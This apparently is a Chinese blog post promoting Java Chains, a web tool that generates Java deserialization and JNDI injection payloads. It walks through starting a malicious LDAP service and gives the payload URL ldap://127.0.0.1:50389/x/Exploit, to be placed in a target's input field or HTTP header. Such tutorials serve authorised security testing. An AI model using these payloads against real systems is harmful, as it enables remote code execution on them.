Web-Chains : 让Java漏洞测试变得简单的神器

天天

发布于295天前
龙猫也是猫
## 这是什么东西?

Web Chains,又名 java-chains 项目,就是一个专门为Java安全测试而生的Web平台。它能快速生成各种Java Payload,方便测试JNDI注入、MySQL JDBC反序列化、JRMP反序列化等漏洞。

想象一下,以前你要测试Java反序列化漏洞,得手动写一堆复杂的代码,各种依赖库搞得你头大。现在有了Java Chains,点几下鼠标就能生成你想要的Payload,简直不要太爽。


不像那些命令行工具,Java Chains提供了直观的Web界面。

就算你是刚入门的小白,看着界面点点点就能用起来。



https://appstore.lazycat.cloud/#/shop/detail/in.zhaoj.webchains



## 快速上手

应用安装后,打开登录页,用户名/密码: admin/admin

![image.png](https://dl.playground.lazycat.cloud/guidelines/496/2d4ea044-c277-49f0-8039-fd1273302bce.png "image.png")

进入主页面

![image.png](https://dl.playground.lazycat.cloud/guidelines/496/a40f0d6b-52d2-4391-80af-855d716920fd.png "image.png")

**实战演练——JNDI注入**

假设你想测试一个应用是否存在JNDI注入漏洞。

启动一个恶意LDAP服务:在java-chains的控制台里,找到“JNDI Injection”模块。

![image.png](https://dl.playground.lazycat.cloud/guidelines/496/bc18b691-3010-4831-a1d2-3469fc1bfc59.png "image.png")

第一步:确认监听IP和端口
IP Address(Reverse IP):这里填入你的服务器IP地址。如果你的java-chains就跑在本地,可以保持默认的 127.0.0.1。如果你想让一个远程目标去连接你的服务,这里就需要填写你的公网IP地址。

HTTP Port、LDAP Port、LDAPS Port、RMI Port:这些是java-chains用来监听的端口。如果你没有特殊的端口占用,保持默认值就行。

Auto Fetch IP:这个开关打开后,java-chains会尝试自动获取你的公网IP

![image.png](https://dl.playground.lazycat.cloud/guidelines/496/8ca3d992-9a92-42ec-84e1-98f6d1247fdc.png "image.png")

中间部分,你会看到几个端口对应的“Start”按钮。你需要根据你想要使用的JNDI注入方式来选择启动哪个服务。

如果你想使用LDAP协议:点击 LDAP Port 旁边的 Start 按钮。

如果你想使用RMI协议:点击 RMI Port 旁边的 Start 按钮。

通常情况下,LDAP是最常用的。点击 LDAP Port 旁边的 Start 后,java-chains就会启动一个恶意的LDAP服务,等待目标应用来连接。


![image.png](https://dl.playground.lazycat.cloud/guidelines/496/57f22ce1-dd04-4a53-b3f5-1ddb8778b0bd.png "image.png")

服务启动后,java-chains会自动为你生成一个JNDI注入的Payload URL。

在图片中,你可以看到左侧菜单栏有 JndiBasicPayload 等多个选项。

你可以点击这些选项,然后根据你的测试需求,选择一个具体的Payload。

![image.png](https://dl.playground.lazycat.cloud/guidelines/496/45dad8eb-cb1c-42f6-baca-b5ede76fbd74.png "image.png")

java-chains会为你生成一个链接,比如 ldap://127.0.0.1:50389/x/Exploit。

你需要做的就是,想办法把这个链接作为输入,发送给目标应用。例如:

如果目标应用有一个输入框,你可以把链接粘贴进去。

如果目标应用通过HTTP Header获取某个值,你可以把链接放在Header里。

在页面的 Status 区域,你会看到实时的日志信息。

如果目标应用存在JNDI注入漏洞,并且成功连接到了你的恶意LDAP服务,这里就会显示连接日志。

![image.png](https://dl.playground.lazycat.cloud/guidelines/496/023eff43-c653-4bca-acd1-0d33f290b6aa.png "image.png")

这些端口各有用途:

- **8011**:主要的Web管理界面
- **58080**:JNDI HTTP字节码服务
- **50389/50388**:JNDI LDAP/RMI服务
- **3308**:伪造的MySQL服务器
- **13999**:JRMPListener
- **50000/11527**:HTTP/TCP服务器

![image.png](https://dl.playground.lazycat.cloud/guidelines/496/d0b2dade-d094-40c4-93e3-1f5c50607767.png "image.png")


记住这只是测试工具,用完记得及时关闭相关端口。别让这些服务长期暴露在外网,容易被别人利用。


## 总结

Java Chains 是个不错的工具,特别是对于经常需要进行Java安全测试的朋友来说。

它把原本复杂的Payload生成过程变得简单直观,大大提高了测试效率。

评论

0

暂无评论

说点什么呢~
收藏
0
0
0